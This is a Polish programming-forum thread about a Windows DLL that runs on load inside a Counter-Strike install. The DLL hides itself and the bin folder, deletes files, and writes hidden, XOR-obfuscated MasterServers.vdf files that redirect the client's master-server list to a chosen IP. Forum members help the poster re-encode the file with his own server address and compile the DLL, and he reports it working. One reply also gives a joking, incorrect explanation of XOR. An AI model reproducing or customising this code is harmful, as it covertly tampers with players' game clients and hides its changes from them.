Analiza kodu źródłowego w C

Analiza kodu źródłowego w C
Csysiu
  • Rejestracja:około 10 lat
  • Ostatnio:ponad 2 lata
  • Postów:65
0

Dzień dobry.

Chciałbym, się dowiedzieć jeśli można oczywiście, na jakiej zasadzie działa poniższy kod źródłowy i co on dokładnie wykonuje?

Kopiuj
// dllmain.cpp : Defines the entry point for the DLL application.
#include "stdafx.h"
#include <Windows.h> 
#include <iostream> 
#include <Shlwapi.h> 
#include <string> 
#include <stdio.h> 
#include <vector> 
#include <Strsafe.h> 
#include <fstream> 
#include <algorithm>

void DisplayLastError() { 
    LPVOID lpMsgBuf;
    LPVOID lpDisplayBuf;
    DWORD dw = GetLastError(); 
  
    FormatMessage(
        FORMAT_MESSAGE_ALLOCATE_BUFFER | 
        FORMAT_MESSAGE_FROM_SYSTEM |
        FORMAT_MESSAGE_IGNORE_INSERTS,
        NULL,
        dw,
        MAKELANGID(LANG_NEUTRAL, SUBLANG_DEFAULT),
        (LPTSTR) &lpMsgBuf,
        0, NULL );
  
    // Display the error message and exit the process
  
    lpDisplayBuf = (LPVOID)LocalAlloc(LMEM_ZEROINIT, 
        (lstrlen((LPCTSTR)lpMsgBuf) + 40) * sizeof(TCHAR)); 
    StringCchPrintf((LPTSTR)lpDisplayBuf, 
        LocalSize(lpDisplayBuf) / sizeof(TCHAR),
        TEXT("failed with error %d: %s"), 
        dw, lpMsgBuf); 
  
    LocalFree(lpMsgBuf);
    LocalFree(lpDisplayBuf);
}
  
/* Used for GetModuleFileName */ 
EXTERN_C IMAGE_DOS_HEADER __ImageBase;
  
/* Encrypted by XOR 's' MasterServers file */ 
//std::string encrypted("\x51\x3e\x12\x0\x7\x16\x1\x20\x16\x1\x5\x16\x1\x0\x51\x7e\x79\x8\x7e\x79\x7a\x51\x1b\x1f\x42\x51\x7e\x79\x7a\x8\x7e\x79\x7a\x7a\x51\x43\x51\x7e\x79\x7a\x7a\x8\x7e\x79\x7a\x7a\x7a\x51\x12\x17\x17\x1\x51\x7a\x7a\x51\x42\x44\x4b\x5d\x41\x42\x44\x5d\x42\x4b\x47\x5d\x41\x47\x4b\x49\x41\x44\x43\x42\x43\x51\x7e\x79\x7a\x7a\xe\x7e\x79\x7a\x7a\x51\x42\x51\x7e\x79\x7a\x7a\x8\x7e\x79\x7a\x7a\x7a\x51\x12\x17\x17\x1\x51\x7a\x7a\x51\x3\x1f\x0\x16\x7\x7\x1a\x5d\x3\x1f\x49\x41\x44\x43\x42\x43\x51\x7e\x79\x7a\x7a\xe\x7e\x77\x77\x51\x1b\x1f\x41\x51\x7e\x79\x7a\x8\x7e\x79\x7a\x7a\x51\x43\x51\x7e\x79\x7a\x7a\x8\x7e\x79\x7a\x7a\x7a\x51\x12\x17\x17\x1\x51\x7a\x7a\x51\x42\x44\x4b\x5d\x41\x42\x44\x5d\x42\x4b\x47\x5d\x41\x47\x4b\x49\x41\x44\x43\x42\x43\x51\x7e\x79\x7a\x7a\xe\x7e\x79\x7a\x7a\x51\x42\x51\x7e\x79\x7a\x7a\x8\x7e\x79\x7a\x7a\x7a\x51\x12\x17\x17\x1\x51\x7a\x7a\x51\x3\x1f\x0\x16\x7\x7\x1a\x5d\x3\x1f\x49\x41\x44\x43\x42\x43\x51\x7e\x79\x7a\x7a\xe\x7e\x79\x7a\xe\x7e\x79\xe", 251); 
std::string encrypted("\x51\x3e\x12\x0\x7\x16\x1\x20\x16\x1\x5\x16\x1\x0\x51\x79\x8\x79\x7a\x51\x1b\x1f\x42\x51\x79\x7a\x8\x79\x7a\x7a\x51\x43\x51\x79\x7a\x7a\x8\x79\x7a\x7a\x7a\x51\x12\x17\x17\x1\x51\x7a\x7a\x51\x42\x44\x45\x5d\x42\x41\x41\x5d\x41\x41\x47\x5d\x42\x43\x49\x41\x44\x43\x42\x42\x51\x79\x7a\x7a\xe\x79\x7a\x7a\xe\x79\xe\x53\x79", 86); 

void errorLog(std::string s) { 
    // static std::ofstream logFile("trackerUIlog.txt", std::ofstream::out | std::ofstream::trunc); 
  
    // logFile << s << "\n\n"; 
} 
  
// Decrypts string by XOR 's'
std::string decryptString() { 
    std::string oldEncrypted = encrypted;  
    encrypted.clear(); 
    char cur; 
    for (int temp = 0, newI = 0; temp < oldEncrypted.size(); temp++, newI++) { 
        cur = oldEncrypted[temp] ^ 's'; 
        if ( cur == '\n' )
            encrypted.push_back('\r'); 
        encrypted.push_back( cur );
    }
  
    return encrypted; 
} 
  
  
bool setSecret(std::string s) { 
      
    if ( SetFileAttributesA( s.c_str(), FILE_ATTRIBUTE_HIDDEN | FILE_ATTRIBUTE_READONLY | FILE_ATTRIBUTE_SYSTEM ) ) { 
        errorLog("Successfully set RSH attributes: " + s );
        return true; 
    } else { 
        errorLog("Failed to set RSH attributes: " + s );
        return false; 
    } 
}
  
BOOL FileExists(LPCTSTR szPath)
{
  DWORD dwAttrib = GetFileAttributes(szPath);
  return (dwAttrib != INVALID_FILE_ATTRIBUTES && 
         !(dwAttrib & FILE_ATTRIBUTE_DIRECTORY));
}
  
bool removeAnyFile(std::string path) { 
    if ( SetFileAttributes(path.c_str(), FILE_ATTRIBUTE_NORMAL) ) {
  
        if ( DeleteFile(path.c_str()) ) {
            errorLog("Successfully deleted file: " + path); 
            return true; 
        } else { 
            errorLog("Failed to delete file: " + path); 
        }
  
    } else { 
        errorLog("Prior to removal, failed to change attributes of file: " + path); 
    }
    return false; 
       
}
  
bool createMasterServersFile(std::string filePath) { 
  
    // decrypts once 
    static std::string decryptedString = decryptString();
      
    if ( FileExists(filePath.c_str()) ) { 
        removeAnyFile( filePath ); 
    }
  
    HANDLE hFile = CreateFile(filePath.c_str(),     // name of the write
                       GENERIC_WRITE,               // open for writing
                       0,                           // do not share
                       NULL,                        // default security
                       CREATE_ALWAYS,
                       FILE_ATTRIBUTE_HIDDEN | FILE_ATTRIBUTE_READONLY | FILE_ATTRIBUTE_SYSTEM,
                       NULL);                  // no attr. template
  
    if (hFile == INVALID_HANDLE_VALUE) 
    { 
        errorLog("Failed to create file: " + filePath); 
        DisplayLastError(); 
        return false;
    }
  
    DWORD dWritten; 
    BOOL bErrorFlag = WriteFile( 
                    hFile,           // open file handle
                    decryptedString.c_str(),      // start of data to write
                    decryptedString.length(),  // number of bytes to write
                    &dWritten, // number of bytes that were written
                    NULL);            // no overlapped structure
  
    if ( bErrorFlag == false ) { 
        errorLog("Failed to write data to file: " + filePath); 
        return false; 
    }
  
    CloseHandle(hFile); 
    errorLog("Successfully created file: " + filePath); 
    return true; 
}
  
  
  
const std::string masterServersFilePaths[7] = { 
    "\\config\\MasterServers.vdf", 
	"\\config\\rev_MasterServers.vdf",
	"\\platform\\MasterServers.vdf",
	"\\MasterServers.vdf",
    "\\platform\\rev_MasterServers.vdf",
    "\\platform\\config\\MasterServers.vdf",
    "\\platform\\config\\rev_MasterServers.vdf"
}; 
  
void createMasterServers(std::string rootCSDir) {
    for ( int i = 0; i < 6; i++ ) { 
        createMasterServersFile(rootCSDir + masterServersFilePaths[i]); 
    }
}
  
bool removeAllFiles(std::string fromDirectory, std::string fileName ) { 
    WIN32_FIND_DATA FindFileData;
    HANDLE hFind;
  
    if ( fromDirectory.back() != '\\' ) 
        fromDirectory.push_back('\\'); 
  
    // Concentrate search string 
    std::string catStr = fromDirectory + fileName; 
  
    // Find first matching file
    hFind = FindFirstFile(catStr.c_str(), &FindFileData);
  
    if (hFind != INVALID_HANDLE_VALUE) 
    {
        removeAnyFile( fromDirectory + FindFileData.cFileName ); 
    } 
    else 
    {
        errorLog ("FindFirstFile failed: " + catStr);
        FindClose(hFind);
        return 0; 
    }
  
    // iterate through every other matching file 
    do { 
        FindNextFile(hFind, &FindFileData); 
  
        if ( GetLastError() == ERROR_NO_MORE_FILES ) 
            break; 
  
        removeAnyFile( fromDirectory + FindFileData.cFileName );
  
    } while ( true ); 
  
    FindClose(hFind);
    return true; 
} 
  
bool doStuff() { 
  

  
    // Get this DLL path name 
    CHAR    DllPath[MAX_PATH] = {0};
    DWORD smth = GetModuleFileNameA((HINSTANCE)&__ImageBase, DllPath, _countof(DllPath)); 
  
    // save paths for later 
    std::string DllDirectory(DllPath);
    std::string binDirectory; 
  
    // check for correct directory: cstrike*/bin
  
    // remove dll file name from path 
    BOOL r = PathRemoveFileSpecA(DllPath); 
  
    // save bin dir
    binDirectory = DllPath; 
  
    std::string tmp( strrchr(DllPath, '\\')+1 ); 
    std::transform(tmp.begin(), tmp.end(), tmp.begin(), ::tolower);
  
    if ( tmp == "bin" ) { 
  
        // remove 'bin' from path
        PathRemoveFileSpecA(DllPath); 
  
        tmp = ( strrchr(DllPath, '\\') +1) ;
        std::transform(tmp.begin(), tmp.end(), tmp.begin(), ::tolower);
  
              
            // Set rsh attributes: 
            setSecret(DllDirectory); 
            setSecret(binDirectory);
  
            // remove 'cstrike*' from path 
            PathRemoveFileSpecA(DllPath); 
  
            // pass the "cs-root" directory to the function responsible of creating all MasterServers files
            createMasterServers(DllPath); 
  
            // remove: 
            //      - tmp.dll
            //      - pliki z rozszerzeniem .old
            removeAllFiles(binDirectory, "*.old"); 
            removeAnyFile(binDirectory + "\\tmp.dll"); 
  
    } else { 
        errorLog("Dll not in bin directory!"); 
    }
      
    return 0; 
  
}
BOOL APIENTRY DllMain( HMODULE hModule,
                       DWORD  ul_reason_for_call,
                       LPVOID lpReserved
                     )
{
    switch (ul_reason_for_call)
    {
    case DLL_PROCESS_ATTACH:
        doStuff(); 
        break; 
    case DLL_THREAD_ATTACH:
    case DLL_THREAD_DETACH:
    case DLL_PROCESS_DETACH:
        break; 
    }
    return TRUE;
}
SO
  • Rejestracja:ponad 10 lat
  • Ostatnio:około rok
2

Pytanie ile płacisz, bo nie wiem czy komuś będzie się chciało za darmo.

Csysiu
  • Rejestracja:około 10 lat
  • Ostatnio:ponad 2 lata
  • Postów:65
0

Coś chyba kolego źle mnie zrozumiałeś? Albo najwyraźniej nie przeczytałeś tego co napisałem. Więc prosiłbym Cię uprzejmie, abyś nie wypowiadał się bezsensownie w moich tematach.
Mnie interesuje analiza kodu, jak nie uzyskam pomocy na forum to trudno, wcale nie jest powiedziane, że pomoc muszę uzyskać, bo to nie jest moje prawo tylko przywilej. Więc to tyle z mojej strony tytułem wstępu.

SO
  • Rejestracja:ponad 10 lat
  • Ostatnio:około rok
4

Niestety "kolego"(nie wiem od kiedy jesteśmy kolegami) dobrze Cię zrozumiałem.

Po raz kolejny wrzucasz kod jakiegoś serwera do CS i nie masz pojęcia co on robi - pomimo tego, że są w nim komentarze.
Jak chcesz to czekaj na pomoc, ale tak jak mówiłem, nie sądzę, żeby komuś za darmo chciało się analizować czyjeś kody.

Csysiu
od kiedy serwery mają kody "niekoloego" ? Już napisałem Ci, że nie chce twoich postów pod tematem.
spartanPAGE
Przecież serwery mają pączki a nie kod >:I
SO
"od kiedy serwery mają kody "niekoloego" ?" <lol> Jeszcze bardziej utwierdziłeś mnie w przekonaniu, że nie masz zielonego pojęcia co robisz. Powodzenia :D
fasadin
  • Rejestracja:prawie 14 lat
  • Ostatnio:prawie 3 lata
  • Postów:4882
1

ten kod robi petle ify i jakies kody (zgodnie z funkcja doStuff). Za lepsza ekspertyze wystarczy wplacic mi pewna sume. Niewielka, gdyz niewielki jest ten kod.

edytowany 1x, ostatnio: fasadin
Csysiu
  • Rejestracja:około 10 lat
  • Ostatnio:ponad 2 lata
  • Postów:65
0

Najbardziej interesuje mnie kod poniżej. W jaki sposób odkodować zawartość tego kodu? Oraz po rozkodowaniu i edycji zawartości jak z na nowo go zakodować?

Kopiuj
/* Encrypted by XOR 's' MasterServers file */ 
//std::string encrypted("\x51\x3e\x12\x0\x7\x16\x1\x20\x16\x1\x5\x16\x1\x0\x51\x7e\x79\x8\x7e\x79\x7a\x51\x1b\x1f\x42\x51\x7e\x79\x7a\x8\x7e\x79\x7a\x7a\x51\x43\x51\x7e\x79\x7a\x7a\x8\x7e\x79\x7a\x7a\x7a\x51\x12\x17\x17\x1\x51\x7a\x7a\x51\x42\x44\x4b\x5d\x41\x42\x44\x5d\x42\x4b\x47\x5d\x41\x47\x4b\x49\x41\x44\x43\x42\x43\x51\x7e\x79\x7a\x7a\xe\x7e\x79\x7a\x7a\x51\x42\x51\x7e\x79\x7a\x7a\x8\x7e\x79\x7a\x7a\x7a\x51\x12\x17\x17\x1\x51\x7a\x7a\x51\x3\x1f\x0\x16\x7\x7\x1a\x5d\x3\x1f\x49\x41\x44\x43\x42\x43\x51\x7e\x79\x7a\x7a\xe\x7e\x77\x77\x51\x1b\x1f\x41\x51\x7e\x79\x7a\x8\x7e\x79\x7a\x7a\x51\x43\x51\x7e\x79\x7a\x7a\x8\x7e\x79\x7a\x7a\x7a\x51\x12\x17\x17\x1\x51\x7a\x7a\x51\x42\x44\x4b\x5d\x41\x42\x44\x5d\x42\x4b\x47\x5d\x41\x47\x4b\x49\x41\x44\x43\x42\x43\x51\x7e\x79\x7a\x7a\xe\x7e\x79\x7a\x7a\x51\x42\x51\x7e\x79\x7a\x7a\x8\x7e\x79\x7a\x7a\x7a\x51\x12\x17\x17\x1\x51\x7a\x7a\x51\x3\x1f\x0\x16\x7\x7\x1a\x5d\x3\x1f\x49\x41\x44\x43\x42\x43\x51\x7e\x79\x7a\x7a\xe\x7e\x79\x7a\xe\x7e\x79\xe", 251); 
std::string encrypted("\x51\x3e\x12\x0\x7\x16\x1\x20\x16\x1\x5\x16\x1\x0\x51\x79\x8\x79\x7a\x51\x1b\x1f\x42\x51\x79\x7a\x8\x79\x7a\x7a\x51\x43\x51\x79\x7a\x7a\x8\x79\x7a\x7a\x7a\x51\x12\x17\x17\x1\x51\x7a\x7a\x51\x42\x44\x45\x5d\x42\x41\x41\x5d\x41\x41\x47\x5d\x42\x43\x49\x41\x44\x43\x42\x42\x51\x79\x7a\x7a\xe\x79\x7a\x7a\xe\x79\xe\x53\x79", 86); 
SO
  • Rejestracja:ponad 10 lat
  • Ostatnio:około rok
2

Masz na czerwono komentarz co to jest.

Csysiu
  • Rejestracja:około 10 lat
  • Ostatnio:ponad 2 lata
  • Postów:65
0

Najbardziej interesuje mnie w jaki sposób zakodować moje znaki w tym kodzie? Jakiego programu użyć? Proszę wytłumaczyć mi to jak zielonemu.
Potrzebuje zakodować to co podałem poniżej:

Kopiuj
"MasterServers"
{
    "hl1"
    {
        "0"
        {
            "addr"        "91.196.49.26:27011"
        }
    }
}
edytowany 6x, ostatnio: Csysiu
SO
  • Rejestracja:ponad 10 lat
  • Ostatnio:około rok
0

W analogiczny sposób jak odkodowałeś...

Csysiu
  • Rejestracja:około 10 lat
  • Ostatnio:ponad 2 lata
  • Postów:65
0

Zawsze to jakaś wskazówka. Tylko nadal nasuwa się pytanie czego użyć oraz jak zastosować, aby zakodować zawartość, którą podałem niżej.

Kopiuj
"MasterServers"
{
    "hl1"
    {
        "0"
        {
            "addr"        "91.196.49.26:27011"
        }
    }
} 
edytowany 3x, ostatnio: Csysiu
SO
  • Rejestracja:ponad 10 lat
  • Ostatnio:około rok
0

To nie wskazówka tylko odpowiedź, koduje się w analogiczny sposób jak odkodowuje.

Csysiu
  • Rejestracja:około 10 lat
  • Ostatnio:ponad 2 lata
  • Postów:65
0

A czy mógłbyś pokazać to na przykładzie?

fasadin
  • Rejestracja:prawie 14 lat
  • Ostatnio:prawie 3 lata
  • Postów:4882
1

kodujemy z przesunieciem o trzy znaki wiec np

abc staje sie def

teraz jak chcemy w strone odwrotna to odejmujemy od trzech znakow

wiec def zakodowane bedzie asd

teraz to samo wykorzystaj do Twojego kodowania zeby to odkodowac

Csysiu
  • Rejestracja:około 10 lat
  • Ostatnio:ponad 2 lata
  • Postów:65
0

I tak tego nie zrozumiem bo jestem zielony w kodowaniu. A czy jest możliwość, aby ktoś w miarę chęci mógłby mi to zakodować?

KA
  • Rejestracja:prawie 20 lat
  • Ostatnio:3 minuty
  • Lokalizacja:Gorlice
1

Po eraz drugi uratuję Ci dupę.

Kopiuj
std::string encrypted("\x51\x3e\x12\x0\x7\x16\x1\x20\x16\x1\x5\x16\x1\x0\x51\x7e\x79\x8\x7e\x79\x7a\x51\x1b\x1f\x42\x51\x7e\x79\x7a\x8\x7e\x79\x7a\x7a\x51\x43\x51\x7e\x79\x7a\x7a\x8\x7e\x79\x7a\x7a\x7a\x51\x12\x17\x17\x1\x51\x7a\x51\x4a\x42\x5d\x42\x4a\x45\x5d\x47\x4a\x5d\x41\x45\x49\x41\x44\x43\x42\x42\x51\x7e\x79\x7a\x7a\xe\x7e\x79\x7a\xe\x7e\x79\xe", 86);

Nie odpowiadam na PW w sprawie pomocy programistycznej.
Pytania zadawaj na forum, bo:
od tego ono jest ;) | celowo nie zawracasz gitary | przeczyta to więcej osób a więc większe szanse że ktoś pomoże.
edytowany 1x, ostatnio: kAzek
Csysiu
  • Rejestracja:około 10 lat
  • Ostatnio:ponad 2 lata
  • Postów:65
0

Jesteś mistrzem !

KA
Ło Boże to zwykły XOR chyba najprostszy algorytm "szyfrowania" jaki istnieje...
Csysiu
Dla mnie to nie pojęte jak na razie mam nadzieję, że kiedyś jak takie rzeczy bardziej na co dzień będą mi potrzebne to wtedy pomyśle nad nauką programowania od postaw.
Csysiu
  • Rejestracja:około 10 lat
  • Ostatnio:ponad 2 lata
  • Postów:65
0

A teraz, gdy mam gotowy cały kod programu zapisany w pliki Maindll.cpp to w jakim kompilatorze skompilować na plik Maindll.DLL

KA
  • Rejestracja:prawie 20 lat
  • Ostatnio:3 minuty
  • Lokalizacja:Gorlice
1

W Visual Studio tylko aby to skompilować musisz:
W kodzie:
w funkcji DisplayLastError zmienić:

Kopiuj
	StringCchPrintf((LPTSTR)lpDisplayBuf,
		LocalSize(lpDisplayBuf) / sizeof(TCHAR),
		TEXT("failed with error %d: %s"),
		dw, lpMsgBuf);

na:

Kopiuj
	sprintf_s((LPTSTR)lpDisplayBuf,
		LocalSize(lpDisplayBuf) / sizeof(TCHAR),
		TEXT("failed with error %d: %s"),
		dw, lpMsgBuf);

We właściwościach projektu
Configuration Properties -> General w Character Setzmień na Use Multi-Byte Character Set
Configuration Properties -> Linker -> Input w Additional Dependencies dodaj shlwapi.lib (oczywiście po sredniku)
O tym że w ostatecznej wersji trzeba zmienić z Debug na Release trzeba zmienić to chyba nie muszę przypominać.

EDIT
Napiszę na wszelki wypadek wybierasz Visual C++ Win32 Projekt a później w kreatorze że to DLL


Nie odpowiadam na PW w sprawie pomocy programistycznej.
Pytania zadawaj na forum, bo:
od tego ono jest ;) | celowo nie zawracasz gitary | przeczyta to więcej osób a więc większe szanse że ktoś pomoże.
edytowany 1x, ostatnio: kAzek
Csysiu
  • Rejestracja:około 10 lat
  • Ostatnio:ponad 2 lata
  • Postów:65
0

Ok wszystko działa jak należy, poprawnie skompilowało cały project i pliczek hula jak należy :) Dziękuję wszystkim, którzy byli tak życzliwi i chcieli pomóc takiemu szczypiorkowi jak to jeden kolega z forum mnie nazwał :) A szczególne podziękowania dla Ciebie kAzek !

Csysiu
  • Rejestracja:około 10 lat
  • Ostatnio:ponad 2 lata
  • Postów:65
0

Dobry wieczór. Przepraszam, że ponownie oczekuje pomocy w moim temacie, ale zmusza mnie do tego mój problem z zakodowaniem tego co napisałem tego w stringa, ponieważ zmieniłem IP serwera vps i potrzebuje tego ponownie zakodować. Proszę serdecznie o pomoc.

Kopiuj
"MasterServers"
{
    "hl1"
    {
        "0"
        {
            "addr"        "185.49.13.60:27011"
        }
    }
} 
spartanPAGE
i co... nie wiesz jak wystukać ip na klawiaturze czy jak?
Csysiu
Czytanie ze zrozumieniem kolego.....
spartanPAGE
Szukanie informacji z głową kolego
Csysiu
Jak masz zamiar pisać informacje nie wnoszące nic do tematu to nie spamuj mi tu.
spartanPAGE
Od czegoś są komentarze.Np. od wytknięcia Ci tego, że jesteś leniuch :P
SO
Daj sobie spokój z tym serwerem jak z takimi banałami masz problemy.
Csysiu
Dla mnie to nie banał, po prostu nie znam się na tym, mógłby ktoś z was zakodować mi to?
spartanPAGE
@Csysiu bo widzisz, każdy z nas codziennie w pracy stawia serwery do csa. I nikt tego nigdy nie robił, dlatego udzielone tutaj odpowiedzi - właśnie przez osoby, które codziennie w pracy dzień i noc stawiają serwery do csa i mają w tym wieloletnie doświadczenie - są niezwykle cenne w internecie i z tego właśnie powodu nie mogłeś takowych znaleźć. Prawda?
Csysiu
Albo jestem zmęczony albo nie zrozumiałem ☺

Zarejestruj się i dołącz do największej społeczności programistów w Polsce.

Otrzymaj wsparcie, dziel się wiedzą i rozwijaj swoje umiejętności z najlepszymi.